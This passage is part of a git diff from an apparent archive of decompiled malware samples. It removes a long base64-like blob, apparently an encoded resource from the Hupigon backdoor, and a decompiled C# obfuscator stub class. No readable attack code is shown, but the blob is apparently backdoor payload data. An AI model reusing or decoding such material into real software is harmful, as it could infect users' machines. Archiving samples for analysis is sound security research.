n/6zlNf7n/7HL/+H3+Uv/Pv+jz/3D/zn/5b/7Tf+A/+73///+iN/6a/+U3+P/+oP+J8//wfv/K+E+r/4 - v//G/9cf8x/+x1f/23/wF/7yv5Pyhn/g3/97/Cd/K6Wifumv/qf/1//xl5/+r3/v//XP0zL/v/l//bb/ - 9//6H/7nd4/+3P/zH/lbf/Uf+K/9u7/Hf/Jv/m//6T/ze/z3FOP+8t/j//5Df49f9dcf/aq/8R/8FYf/ - 51/6f//Dv8f/dvh//HP/9F9Ii0l/xi/+v/+xP/e/+b8p7vqP//G/8r/83j/4K/7OX/on/t//8R/4f/69 - 43/gf/vj/5vf4z/73/7OP+9v+Bv+wP/2L/w//tP/+1/67//D/+gP/Kv+wH/xX/9dVv/rL/4/KTHwP/7q - v/D/+G/+9Y//yF/1P/7v//v/9Q/+r7/4n/8r/sF//Z/+b979HX/P//0//J3/9+/+3/7+9/7vP/YP/B9/ - j//8V/7f7yjv9Pv8gf/E7/+//5NHf+D/Uf3fP/5//w9//3/4i37l//h//JH/Fy3U/J2/zy/9v//H//D/ - +u//jT/wH/9d/tc/9/88/Qf/5S//zz/8n/wD/6Hf/3968H+ewV393v/5a/7r//CXf95v+wf+H3/jr/oj - //r/6w/6D/+nf/H/+O7//Rf9Hv/3P/5///Lf5f/8U3+P//WTP/Cf/xv/jF/2j/7bv8f/9UfS6tq/9Rce - /F+/8x/4H/8utAzxp/76f+U/+B//g7TGDHeo/t//m3/2l/03D/7u//2/pATVX/33/++/6S/9a//6f/CT - X/1f/l9/6OHv8z//g//XP/1X/q3/3YP/43chTvxlV//Hf/Jv/p//+C+rycG88w/++/8hpUn+zx//H/6v - P+cP/J/+8T/w//hTSVf9z9Wf+H/9yf/ZL/sPaT3wT/2//rx/+y/8v/7O//tP/QP/+d/lf/4j/+9/5y8k - nfV/7/6D//zpr/oj/+8v/sH/7b//+Delpc3/+M/8Bf/H+pf9g//Jr/oP/7Tf7//4p//Af4aSPf/H7/oH - /su/7H/87//v3/X//id+l1/0v/8X//V/8gf+8y8+/wf/8f/x//jy7/u//va/9t//X3/l//nf/9J/++7/ - 9u/+/v/37/B//zO/yy/7TclrIl/mV/+Nv+q//xd+D8pN/+v/4X/zy/7D/+hX/M//7T/7u/zfv9f//af+ - 37/8P/y/t/+v/+r//oX/98n//T/9g/l/+X98/A/+H/f/73/pb/y//h1KO/ySP/Uf/D8//r//o3/5f/z7 - /++/7H/7Jf/Xf40lpl/7l/43d/+9H/zU7/t//cJ//X/+z/7OXz0dU9TwP/zfv9e/++v/h//XH/kf/l// - 4f/9f/4e/9efSomY//l//L/O/kESsL/3/zj5D//3/2bxS/83kukvv/N//3V/4f/x3d/m9/i/3v7l/+Cv - /Dv/it/24v/+p/6P/+tv/EX/5b95/Sv/3f/rb/0H//P/8Vf8s7/0j/w9/u8H/9v/SEs+/zNlSv5EQvWK - vMs/of6fq1/yf/wfv/J/+0v/wH/3P/yP/vu/9vf4H6/+ty/+r7/9P/0Pf8Vv+n//vUjAfPf/+B9+j//r - X/w/fvwf/A9/l//9b/wH/o//65f9g//H7/9/3ftf/6//4T/8T//jL/+vf/b//mf+zv/rP/i//9P/5Or/ - +Id/l//98P/+O/7v//av/A+vf0Dh1n9x8eUf+Mf//r/s76QcyK/672hF75f+x7/Lr/hv/77/83/5Cymr - 8tf+Hv/33f/zX/xN/6+/p/oD//T/85/9B//N//M//GV/46/+2ymO+j//x3d/L6m0v/S//D3+z9+U8jT/ - 919Ea7C/9p/wB/4fD/6v//Dyl/6Pv8f/8Z/+h/8pLZP83//Rf/g//P6/6pP/8vf4FZS8/Cf+7//uP/4b - f/V3yXP/H+8+PvhV/z4tt338q+79X3/Gn/h//8H/YfGr/sn/+/gP/Nf+xv/7r/w//rE/8P9++/vSBP8v - /+rdP/C//Mer//Pi//iX/8F/8X8kz+sX/YH/0O/S/p8XlE79l/7W//HP/7/+5d+FeImWzr/3B/5Tf+P/ - /Y//D9VX/9dP/oH/+j/+e/xv//j/+L9QiuP6V/2pFIRQXp2yo7/L//3oH/zn/8b/+7/c/r/+m//x//6V - pMD+rz/3Z37p/0Iu5t9Jybj/6ff4n65+6Z/8D/65/9fpf/ir/pu7//vf+w/+veM/8P/8D//n//Df+SX/ - e/23/Z+//N/9A//r/+qX/fu/x3/04OD/+u//i/9777f/T3//X/27/G9/+D/58R/4D/3jP/1//43/++9P - btv/+d//j//bv/67/O9/5//5L8NL/j/v/t//yX/yD/6fv8sf+Ks/prDy/7j7N9Ly+We/+i/9/Sl7Q+ui - /+0v/XP/xf/7b/pP/q/f9h/8J/7GX/nx//EL/8B/5fPf43/+bSkq+j3+23/z//r4//rj/8Q/8FcjQqHY - 7r/FatGf/A/+N7/Lr/rHf/3f/9//Vf9V9av/yaNf9bv8gf/8x//h//n3/t+/8ve/+uXf+z9/2f/97/we - //PP/C9/5dH/9t/9Lou/5j/8r/8zipLu/p8n/8sf+F/9T3/l//2v/d//2e/xf33+P/wNd/+vf+kf/M// - 2d//P/1N/7eLP5Ccnv/qH/yZt//rf/N7kML663+P//T3/9/+TtJW//f/8Lv8n//1b/vX/h7/+93/8/sv - 4H188n/9bf/qf/h//ru/x//15f/1U3/gP/Uv/IG/8t/9nX+PX/3nkr74z/7D//ufJB39f3/8f/0p/+l/ - +Kv+w//rr/49/ovq//7pX/kr/7fv/9//1z/4fz74c/6vv/6//e+u/nxaDPo/f/9f+Yv/j//w//7f/+Hf - hTzS3+f3+J//oy9/1b/7S//9P/FP+AN/5lf/neQp/Z//4fLv/9//+D/wf7kitfgn/N+Xv/rf/N/+sy// - j3/2//6Pfo//7sEveff4/1xQKP2//aZ/zv/1W/6B/9j/+H/947/L//X2+//HP/O3/hd/4btf/ot/6a/8 - d//BX/H5H/jv/v2/x//xd/4fn/2B/3T1v/+H//e/9oP/5fegRfZf/Zv+n//sv/4//pL/8/P/4f/6S/5A - MrefH/1fp3/gP0Vpv+of/AMf/+r/+vf/T3+X/+PX/r//rF/9B/7jx7/sXzz6C/6Pv/0P/Jn/9b/4Gyly - +y/+w/+VHLi/8Lf9F//bX/EX0srj//kf/ur/9Xf5vw7/w3/3V1d/4N/4X/yJR7/qd/7y//rP/8D/4mNK - 0f2vd//vzyll9S/8J3f//n/w//z3f4//5X/c+r/+7X/w/7r6Vd//PX717/x//yH/93/+m/5v3/0D/8Y/ - 9f/+7//9/+5f+DP/wf/tH/zf/srf5f/+zf/Jw//76a/+e/+vj//pP/f//ulf8Uf+m1/+t//hf3v15/8F - /9d3fw/y7H/d//s/+Qf/99+UQss/8H/+b//PZ/8gJSb+x9/2H/zXP/8D/yWE1OP/8U/5A/+6f+9X/aZ/ - 5T/47/6Fb8o/8P/63/7Nv5uyUn/Qf0hIfv//+hP/w//mwf+2/Qf+qf/h5P8+Xf+qljyk4lf+X3/Kn/h/ - /8W/6p/+Xf7Xf/Dfv/7f/t7/+6f++V/+L/zf7a/8n/+N6n/69f/v/+EffPcrK/JH/vLDf/AP+J+//P3+ - T8p5/Hr/9//xD9OCzpf/wb/xf/+f1a96e/8v/PtIHH/lH/l//zn/479Byatf9euP/q///P/+n/7C/+Ov - /KW/7A/8b6v/8z/9A3/ln/p7/N9/4P/19/8Dv+zi//rJ/3v1v/yF/8ef8wf+9//h//En/pJf/pv+H//+ - //0f/LF/4Q/+tl/5Jz6+8wf+u5Rqu/d7/F/f/aW/z+//f/xz/yM1O/4HL//3f/P//P3/1X/wf/w7/6// - 9W/8lf/z33n0v/+PZED+u7/wf/v7/69f/R/+F//ir77/B/6R//j/+D/9mf/37/gP/uC//Cf/73/qu7// - P/Dv/ep//rf9L//BX/l7/Or/9v/6Fc1P/SX/25/9H/7n//W//af+Hv/XP/8X/q+U+vtV/+Pl//En/t// - 7B/5D/7L/9kDypH9L3/h//Z3YuHwdyl/v/Nf/X//O//j//Hr/x//8z/43/+JFE78K//qn/oL/8/7/9ef - 8Ef+gf9B9ff/sn/3//xP/vXfhRYn/q+r/+Mf/2d//1/5z/4e/9Xdv+vP/BtINVz+g7/8H/5d/u8//3f5 - mf/j8//x//wn/un/8R/46f/rP/79/6df+X8u/8Dyl/2b/8cf8W/+gf9mRR7+r3pNTuQf+If+g7/sy1/1 - f/y2lJn6ZVf/25/4f//jf+B/+yv/jz/2//7bvvwHrqq7FJL9Qb/H//0PfvaL/+df///8h//v/6r6Vf/D - b/p//Zsv/q9/8+/9v/+P3+X/+g1/v++P/sI3//d//A/+71/+n9v/9//+v/ydf9X/8g/+asrb/tL//U/9 - A//vX/Ef/51Xf8o/+J/+p7////pP/4X/53/2e/zvf+b//af9g7/89/jffuX//df8gW9/1eFf+O//6v/2 - D/w/yIP6p//EX/qf/vu/x+pXVL/kf/8f/49/8i/8P377P/B/vvt/VeQh/J//5C/9L//B//iX/aH/9//2 - F979v/+D3+d/Jv/n3/ylv+Lv/b+++Ff/w//uv/o3/+9f8n/9Cb/H7H/+E4/+j9/5r/0P/8/v/a1/4H/1 - F9KM/Wf/93/+P1f/63/2P/65/+ef+wf+x3/gr/jy//reH/jf/o+/igzWDyha+2V/LK1J/Jf/4H9Q/+L/ - 5Y/9v//yv/D3/fRP/e//wP/t7/zf/9p/8c/5D//zP/FX/85H/w7lLf7hy//xN/0/aYnxT/gP/3fye/+x - //GXPyC355/6j//rf/yv/AP/xd/jz6Nw5F/4/YjFH/yB/+bdd//zf/t//eZ/4O/z9//v/+of+Of/h//L - v/h//9UP/tV/8H/4E/+3/+w/+U3/94v/+3/7e3/xH/jf/Z//4P/08R/4F/4e/8vv8tmvpm7uf7f6v/6b - //BX/J2/+rf9E//vf/+X/8//4a/8+//A/+kf/L//tyvK1vxHv/yP/Q9/dfWDX/3r/x9f/t//yL/wf/6n - /+B/9R/+37/z+F948Q/8b+X/Xv37//dv+Uv/2P977z/8Py/+wD/+4z/wX/kTaVnkP/8b/7fF//VP/JG/ - 6W/yf/9V/+Wv/vL//oN+j1/96/+D//zf/3v8b5ST+V/IIav+z9////4X/sLRL/03f4//+epX/fe/9M/8 - v//3v/Xv/Qf/81/5S//4//tX/In/2+/+f/9Pv/+f/c/9rf/1lz/zt/++/+ezP/Cf+m3/7//h//p7f4// - 9T/4Z/9eCmH/w//zL/zf7v+B/8f//X/8o//3//p7/K//1//4t/y5/+f6f/xb/vF/8Ff+vf9H/n//y3/j - r3j7f//1//f//rv88r/x//iy+oX/+J/6u/yBv+p3PP9N/++/7g/8T/7B/+13/gf+/n+HosL/qfpd/q+P - KZP3D/4fV9T9f/MX/p/f/QP/we/+iup//+7f/g/+m5Sc++v+r3/l7736C/+vX4/akYf+e/zf93/pf/Gf - /v2/+Hchn/r//jcowfEH/t+/C5nPv/T3b/8Xyhj/Keckwf/3d/+vv+EP/Jf+wF/+7/4ffzEt+f4X//c/ - 9/v/35//gf/j1a/67P/6036P//EP/L//UlpN+f1/+dX/+SeQ9/x//pf/x6//f/+f/+Ev//Lfo2zc30dp - 4l/8q379/+Of+Pgf/Df/0//+7/9d/sP//R/9W//l//B//TtJFP7B/+o//1fvkun/o38PsvHf/cmrv+Do - V33///7v/sD/9r/7N/+3/+1X/bZ/4P/6F/7p/8e/8w+e09rp4u7//Y/9h//nx3/gr/49/iLyjP7WP/C/ - u/rz/joaLM3N//wfkovwf/xfv/+v/m9/afuD//vBv3f9q/7J3/0P/N//x//p6v+e/t//2F9IEeRf/sf+ - y7/L5dWv/Jv+r7/3l/6Xv8d//c/+Ln/g//W//JW/8P/+R6/+h//jf/i///1/4W/8P9/+n7/fr/iv/+u/ - 8P/6/P/I/8D/8D/9J//vf4lXbP74/+H/+Gv+07/36v/6637/X02Lkn/rn/h//2F/6z/4v/6d/9b//i/+ - 33/N7/+r/ot/+B/8Ff/u//2b/4P/7f/4f5CC+gP/N8qc/C6/+s8kN/L/+pX/+y/5O3/pf/eb/p//Fbla - f+yf8y/+gf/9v/8PUmz/q/7DX0ppo//td/k/P/5dvv/l//3v/s//y4M/f/S7kCtBS6//+5/4q//R/+sP - +T3+u3f/O830Ka3b/M93/++/8Df9pf/xr/iPiVdpIv7p3/Tf+L//vd/jf/6YxOE/+Bv/53//T/0H/9ur - b/3ff/V/8df+Hv/1/0XrGg/+rz/p//7P/8Ff/Tf+X3/IP/i/XP2fv9ef+Af+p9/9Pai/v/i//gv/189/ - 63/wv/2/f/mv/CX/y6/+F//Nf/Bf/R//p3v/97/7p/4e/8U/+X//47/HL6Wo5Vd/PKaY+Pf4v3/lH0ju - YPXX/Bl/63/4f5W/+jf9d/7PP/SP/QPv/J9/5v/1T3/8B/73/+Av+1//fYr5/+/pv/sP/uO/y//8m5Lq - /l9/8f/xT/+D//evvPt//a//4H/zb/6ff+Lf8X//Rz/zf/3T/+Cv/Bf//h/8yk/+gf/ze4v/85//v//7 - v/F//s9+2z/zn/0H/4+7/9ef+X/9q//gf/9P/oV/wf/5O//f/071P7998w/+y9Wv/J//x//pr/+f/8L/ - 9Z+++7/94j/nP/wb/7ff8v/6O3+PX/UXktD9Z+v/64LMxf/0P/5P//T//X/8m5Sq/A//519GXuD/+ef/ - 33/z709W+Hf4B/+J/+5f/Av/j1/5X//f/+vvdfSQFtD/0D/wf/g3H/0f/+0v/TN/2X9391f/d//m//6v - /t9/7H/9P/4f/3P1y/7Z/+tv+lv/7//j6lfd/7//09/jP/4Lf9XJx//3v0nk+T9+m7/3D/yV/+P/cvV/ - /QmUav49ftVf+Q/+73/7i7/19/jlf+OvPvwD/8t//S/83//H//Pf/Af/h7/wV/+9//fv8Ef+3//pf0Oi - dfV//G/f/b//2//wf/5d/u+zP/Cf+uV/59/3y37H/+MHv/hv/A//j1/2T/+D/yctwf3q/4OW4qvP/vff - 9P/6T/7Z//H/+vsppvnr/+9/i7yF//1P/R//z0//7+//L7/4//x7/0DyF/7c/+Ov/g9p8H/zH0gh5e/8 - B/7Lv////b//pr/k//wfHvzq//b//rv+wP/2yy/J+lAk9St+j//r3/2//+k/8L8hT40WV//TP5D00P/1 - 6/7fv7L6P//Af+B//5yU2f/xL/5v9/6vf+YP/BX/w3/97/4e//tv+oPV//if/h7/1e/x/f/zl/yDf8Df - 8b//0X/mn0jZgv/6dxn/3/9+9X/+yX/hv/YH/rvV//lf/tKf+T9+0//z4X/4q1//33/ef/grrv7P/+5L - Ets//sEf+G/8Lv/H4fgF5ZCPPvu//vz/60/6L/7D/+Nv/e4/+G9Xv/w//7//5l/2P/y9f+C/VP3K//Ho - X/y//hJamfxV/yfFJL/qD/y/Fn/uf/gr/sVf/Yf+0r/x//gVV3/gf/Nv/vQf+Of/lX/gL/7Vf9P//uf+ - gf/L7/LTRJ3/6+/9A/+J3+VnfsV/8nuQtfnXvvzynzn8V//D//XL//3v+xlaYvo3fpf/+3/9A/+j//pv - /D8//7+/T9EZeYp/wT/++//PD/6PL3+P+79q+/yf/uVX/8e/evl7/Orv/4F//u9BiaZ/9Jf+qf/hf3H1 - 7/8+f///+X/+tr+q+lW/x9/wC/66X/qn/t+/7O/8v//2/+If/M9JrP7vf/IP/OXf/QP/qz/x//63fv// - 40/8+2gF85f/hb/y9/oz/kmi+P/+B/xf/+7/8df+g//br/4H/8/P/8D/+Pf/n+/+A//CH/N7/Nf/4P/9 - 5/+B/8VvSu7dv/ZP/4U/83/8vf/X//pf/oH/yL/6H/6Kf/P/+p1/0z/wl/3f//vV//bn/9J/8ff4A//3 - 7/3M/3j3f/+b/7P/5Fd9/Af+SjK1/8cJxbH/98eUpyNn/x+q/re/lxbv/rf//H/85f/hL/3lv+kfSNb1 - T/8Df/X/+Mv//F/8e/xfF//X3/kHvv7ff+X/+S/8g//rX/kH/rI/8H/69f+P/636v//BP/Crv/If/O// - xl/1i3/J//Wr/sL/+8H/+YDixH/t//g31r/iT/y/f79/8F/4C/+P7/2X/+D/9j/+b3/l//KfXP0F/9df - efEP/rNf/l/HUI+/PynL/+r3/8X/93/4v/+Tv5QywRSAZV/+0j/03/4TKaT8Vyk8/j//m/+dEv6//9H/ - /qeO/69/8U/8Pf6vX///+uW/x3/7+/+quxSI/cpf/Mf+Hv/H7//3/uq/cfF//w//9z/zB/4f/+3/+Uf8 - gf/X7/Krpn/gf/83/orf8f/6RRS1/F//+X/yd/6fp3/gf/NfImT9jy5+6d/5e+T/yz/4f/zh/+D/8C/8 - hf8z5fj+GyxX/l+0ivzxH/jL/ksKJf/Bf/33/19/0//zd6dI/H/7H3/pf/u7/Kp/+vf430DIf/Qf/G+/ - /N//RFpq+59+GQWR1f/65f/5n1W/8rv/94/9g//L9ymf+sf+g7+s+r9/5f/x+/2T/+H//sf/X//Rf0k5 - rf/9H/y/pn/gP/m7/M//1X9Q1f/jf/8f/vL/g7IGlJn9P//GX/1//Sd/4v/5t/8ev+pP//3/r3//v/wH - /4X/8X//+P/+c/7vX/kX7v5f/+j/QuH7/3T12f/9h/7Sf/Rf/L//l9//f/qnfw/KN/07/+Tf+wf+R3/h - //m9//spGY5/8g88JnX7t/+Dv/zv/D//e0oq/C3/x/Yf+E/+gf/b1S/5Vf/Jf/JPfnnxB/7Xv/LZP/g/ - /I+/5H//lf/3//Z7/AMUJvwNv8f0V/7if/CXffwH/rP/yV/4q/9GSqv+qr/z//47/9X/8H/+F99d/x// - +a/6Xf63//b/+HP+xL/29/i/r37Vn/sH/pf/YPk//9N/4l/4f/4Lf+l/+N/+k3/ib/J///fkE/z5//d/ - 8rv837/x//3f/t//7d/5f9z/pX/m3/k//l9/0X/431b/3v/9l/5f/8EfOPu//8L/89f9T/9QWuP4zv/1 - 3/yvDyhS+dX/+j/4q//C//tvoMzo//m7UCKA0gJ/y39Y/sp/8Jf8z3/uZwf/11//F1b/9xeU6v6f/7c/ - 8Fd9/xf8H3/PP/03/sp/8Gf+9p/6P3+H3///Ov0H/82/8f988H8c//7/59/yB/7ML/83/49/9A+s/6+/ - 8vv/53/2f/6Zv+3Fv0h5wf/5t/2/ftEf+M/9Lv/7f/h//K9/IMWQ//E/+F9U//vk7/ll3/udKSL7t3+X - X/4n/m5/4P/2e/zJ/9cv+gf/4//x3/o//jOKjP7v8//7l1e/+jf8v/+Z//Av/t//yMv/++/6Pf6Hv/FX - /6n/11/1Z5KX+Df9X//i1p/9y97+n3/iP/l7/F+H//f5P/gr/9a/FXbuP/q//6Nf+R/+n//iX/i3/7V/ - 5n/7B/6qv/BX/7NfHv3q/+Rf/N//7L/2H8x+1cX/+Y//gf/sP/jLf5fqu+SoX/+qv/b3/z//8X/w//xn - /8f/+9f72579r7R+/w/+J3/n/33///47f4///MG/9b+f/o//yn/4y3+Pv/9/W/yBf37xP3/3//gLKC77 - n371//mX/9//1O//v/yq6pqWE/7Sv+DP/yW/+l//C3/Zu3/5z/gHKVny9v/43j9IRuM3/G3/wf/+7/8P - /9c/8f/63v/1L1Vf3v2lf+Q/+Af+37QKQv76//W9P/W//TcPfw9Swv/Cb0oW+6f/1+/+Lv/X9h/4r939 - 1V9QKPSf/5u/x6/63f/5v/Tv+N+/+FP/Q0o3/tF//j/7f//0n/0v/N9/wX/yP/7fP/63/v7/46/8s36b - //uf+B//wT/17//B3/e/Hf7S//YfXP1fP/3w3/+/vv9/Uf6dfPtf+iv/j3/zZ67/99/j//hz/u//5D/8 - e37FH/h//Ft/4//8J/4fd/7A/+KX/R6/6kvKFP75/+n//Z/+pv/Xb0yZ2P+Wxvd//Vmf/4P/xb9w9//6 - lX/gr/gn/8F/+R/8P//d/+P8H8z/l//2//wLSNB/xa/8vxb/4K/4C/+M//uv+Bt/6a/+A3/l7/K//e1/ - 5T/4X3xJg/+vf5f/7e72//Wv/9//0QPKIv7F/+B/9G//z1i8/Xv/73/nH/yfLv6PX5vg/W//81/4P/2b - f+D//Mf+0n/2D/z0s//9v/87/u8//j/8b/7D//P/fEarC//T3f/z35r8H9Xv/Pv9jf/X3/MP/sd/4K/+ - 9f/vv/g/JJ/83/13/9r/+7/7H9/9ql//j/tjr/7Cv+wP/J+3/sD/hbLL09/jf/3P/7t/8m/4Xf6P3+X/ - /i/+x1/8X/6y6u//3/7C/+s/+esplv/fPvu//+z/efa//IWP/7c/9ej/ukt5zV9+9e1/4O9r/s/D/+uX - /uO////xH/3jf+r//T/8Z9/9B371b/gH/vX/4eX/Xf1fv/H//Y/8gaSmfgmtP/2d/9d//w88/7//hT/w - v/yV//tfSYty/9Gv/Jk/+f/+G/5A8mL/59/0/7x79fv9H2f/4H/4H/7qf/L/+Pv/7//jT/0rfun/9b/8 - N3/g//Yb/of/55//D/6ff+3v/z/+q5SB+Lt+8f/27/4fz/7Bf+Lf/gv/l7/3z/8/yWb/jf/z//J//1/3 - /6f/49f8v/+hv/F//nN/CYXg/+n//Qf//v/pv/m//Yf/1//4B/4vfyKlR//zP/H//B1+2R/4v/2F//vb - f/BX/5H/1y8jd+RX/7n/x9kv/z92/8H/4G/9Pf6bfxO+wNW/+Q/+X7/Lr/4N/69/iZII/9s//3//+//7 - P/h//72/9Isf/Iu/+j978H//kb/0n/8D/85f9Rv/m9/7K/7h//F/+e//o3/2//5ff39apvkr/+9/97t/ - L+Ud//ff///8d35F9X/9pv/35//gr/lrUtrtr/y//97v/9//7P/97/4u/+efSAL2F/+H//TvcfXf/d+/ - 4jf9dX6zv+rv/L9/0f85/d8vftlf+H9iseVX/Pr/919IyJNM/Y+/xy///f+vv/3/+t/+w//mf/hd/nfS - r3/mP/hP/y6/7O1nv+tf9y/+G//g//IP/tL/5Q/8v//D//tX/i6/+i299k/9jb/s8//7f/8D/yta26YV - m1/xNza/4vcgBfef/IGf/SVf/oH/4O/xv3/3//r3/8H/+p/F2Ke/9P/8Fz//v//1//T3/2X/zXf/r2Na - 3P+7/6/f///6t37///tP/FX/5x/45xMt/kFKJf/Hf+B/9eBX//j/9TcfErK//D/8v777D/4X//cfdvUH - /vu/x3/zH/7vX/5fi7/kX/2/f/nv+H/9DpT8Ixf35a/+3/7E/5Pe/D3+r9/03334v/3yB/87pbl////1 - f/lNyVf+Q//vX/0v/m///W+CtagvP179g//w7/Gv/V+/+A/85X/j/06ZX1q6/2vx7Z//X5389P/139Ky - zP/6u/zvf+L/9ej//u//wP/jD/y/f/sf/9//oz/x//wdX/3vv+2/9H/9j/83LUzf/6X3/pw//sHv8X/+ - t3/f//U//N//59/4f//PlFf+X95ihn+XP+3/+oP/wH/pd/mbfsWv/3/9B3f/w7/vH/sj/8Gr//Wf/D3+ - z3////qL/sL/6/4v+L+m/+3/TUv0pED/7//9y1/9y/7vf/H//tVfPvqZ/+vt/zH95f/3P/hf/5u0vPA/ - N//nz/yKi//hD/yF/yCthv5676Z/5LP/6b/9l//F3+O//jf/j/v/11/0h/3S/+sv+Aepza//fz775b+s - +kv+wuxX//5/4b/7D/6l/+v+f/P7/6d3/5K/8B/89P/8P/7K/+q//BtPfo//++P//Vf9t//Kv0hL0r/V - u3/w4//z//gV//V/+X/8m//dP/Kr7v+Bf/zv8pf+tv/X7/a///f/0V9Iafs//v/8/V8f3f/y7/z3/8PT - f/BP/7//s3/+v/+/fvx//+/v/u9/5XL5K3/Hf+lXUp7rlzR/7+/8v/9fD/63i2r5K3/xv/or/8T/++/+ - c//d//P4l/+f/81f+B/+a//DA1pA+Ler//0tOaP/NgVflHT4837pL/iX/sXf//j3+L9/jf/9V/2D/8q/ - +Hv8Mb/0//rO//6rHvzL/+L//cf/0v/re7/8l333X/4XacL/LxrJ//3n/9Il/fHF7/H7/yv/Itm5f+Av - JU/j//w//tj/6r/8v09/j//7zv/+q/7Af/Vf/L//6F/6h/zRf+Df+x/8H8nke/t/9x/4b/+D/9Pv+Gv9 - C7/GX/Cv/A+/+9/+q//z//t/qf63t4///r/43z/86av/6W/8v/+If/Cf+A9/m0//27/9V/+xf9W//wd+ - /t//X3/l7/jv/J+v/7X/4T/81Q/+qD/hH/wTfubRv/Y//IF/yeU/+G//g7+auOQf/B9/4//t/7z85b/k - V/0u/we99rusT/7e//BP/Qf+7//8//6fCeL/8ezBLz/89f+8//s/eUDk/sv/pt/nb/z3/8Kn//3/9bv/ - 9K+8+vf/pf/hf/xLLv/Af42CSmK0f+tv/N3/wt/kb//Vf+Jf9e9Xv/w//M3+/Oq3+yer3/N/I4H6P6ut - d8v533ny3/8d/9d/+R/+T//m//ZP/nr/+z/+TxJ1KNY5/gN/jf/5X777F/2Ff+C/9mv8Hn//jx/83//+ - 3V/9G//D9U8cXP5ff/W//38f//e/9Ff9jZ/8hbTa+7+TnP3vv/Y//b/8xO/xfx/+n8//wO//J1f/+69a - ED3+pX/xt/4//4/f47/+L/9Cos/d//1X/aZE0z/3l/5f3/3lf+u/+7v8Z//zg7/0l/5ff+Xv/yswuK/+ - re//jf/+r/m3/+r1//Uraap+zX/tf/g7/97Tv/f3+GP+nT9++S//DxXR4L/c/nf+z+/9a//DP08/foe/ - 7E/7L//8y3+Qgqhf/m/+b//07/+f/mf/5rv/6+3v9K/+32f/xX/9X/7TtLL0L/+Df+H//Tv8laS9/sb/ - +T/5N9/9r29/5t/+g3/1X/hLfjUE6u+t/tEnf9d/+Qf+Ff/grzz8C//P3/+X/8r/9F+4+Af/Y/Kd3z7+ - 73/mf/13/+WLf/HwL/wlT//Cv/+//plP/4p/8Zf+h//CxZ/4X/2tv89/+bf+i//13/q3/LJ/+8t/6WLx - X/6t/+O/fPF7/Ku/qnzxF/6f2Z//L/7U//7f/Yn/7c/8r7/+v3rxB/7Uf/m3/h5/wdGv/mWP/sL/8+Ev - /7d//3/jV/13d//if/H/+nv+hYs/8LNf8r/+neujX/33/ld/6z/4N/6yf/v3ePYX/p/TP/9f/L9+9//9 - v/sL6dX/8V+6+L/p1f/7zzv61b/y0V/4Z/+Xf+Bf8j/+X3f/9/+7+l/+/P/wv/o3/7df95f/37/5//l/ - /8tXf9l//3f+iv/yk//z9/lv/sW/8F/+C//AP+v/+j9+y1/+X/7+f9Hv8X9/6//8VX/if/Uv/oFnf+D/ - 9ev/77/sz/xv/0Uym3/KX/gP/vH/17/3r/yF9MHf/X/9zF/6e1z873/rv/EX/oNv/sD/6yf+91/2Kx/9 - kl/xn/zyX/X3//3/87/6X/6Lf+AfX17+2X998r9Pf/LP+Af/if/5y7/gz/+d/sF/rfor/vXJv/Nn/O// - /D/+z/1tf/F/+JP/+d/zH/+Hv+0Xn37/v/ov/9m/b/0H/Rnb/+c/+w9+lf8Nf+G/XP3bf8+//nv85Bff - +9d/1Z/2B/6Nf+s/8ff/2//cL/tX2v/9f/93/8W/pv4z/s3/45/87t/4F9z7qV/+y/7Yu7////Q3/re/ - 8G/82//r/Pd7cPq3/2f/4d/4x+TH/9af9R/+tr/h//Xf/71/46/8pX/g7/xvf/X6i//wv/lj/8F/4pd9 - 68/97O4vXP/k7/+7/Knlf/bf/7N/z5/zC/7F8/V/sA+z86ee/vt/w9/6pxy9/WXF2//7aPzP/vRP/98/ - +Mn/8uG//Ct++ff/4bu/DK/+wsM7f+0f8Q/8Weef/Fq/+m8b/wb/9F95fe+v/2O/+r3+rlfVxR/73330 - B/5++//9//jl7/yvHP6Nf+s/+3/81z+WHe//Nn/R0//w31z8+Rd/7L/5j/+m/9I/+cf+fX/+b/Vb/0f/ - 4PwPnPz5/+a/+Tf+jX/up7//n7f9L/61P/iTf83R8eLFH/ibZ7/i4V//v7/6e//Cf+6/+eh7f8fH//p/ - 8+f8Xz/4Vb9D+3v8rn/U4pf+HeW/Uz783f+mv/Fv+S/av/v3+/PG/+7f80/9udM/4A8pDn7Jn/nlv7n4 - F/7AP/DP/SPSv/V/3nv7X/5Df/63f+bf+JnrX/r7/RZ/81/96/7z/+y/+t/89O/zWzz8D9/8i3/M3m/7 - 05ODf/Cf+PK/uP/jv/pP/X3+7n/iv/ydvvg7/53/6t/8u/6Sn/gLt//B3/c//8N+9dXv/7v8hV/9Y5dE - hH/5P/u9/qT/7I/8P/6P3+PXfvSv/7O/xuNf59f4Nf4fyOKSuv1VBgAA - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Macrobject/Obfuscator/Copyright (c) Macrobject Software.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Macrobject/Obfuscator/Copyright (c) Macrobject Software.cs deleted file mode 100644 index d1c1764d..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Macrobject/Obfuscator/Copyright (c) Macrobject Software.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Macrobject.Obfuscator.Copyright (c) Macrobject Software -// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe - -namespace Macrobject.Obfuscator -{ - public class Copyright\u0020\u0028c\u0029\u0020Macrobject\u0020Software - { - public string HomePage; - public string Obfuscator\u002ENET; - public string UNREGISTRED\u0020SOFTWARE; - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyApplication.cs 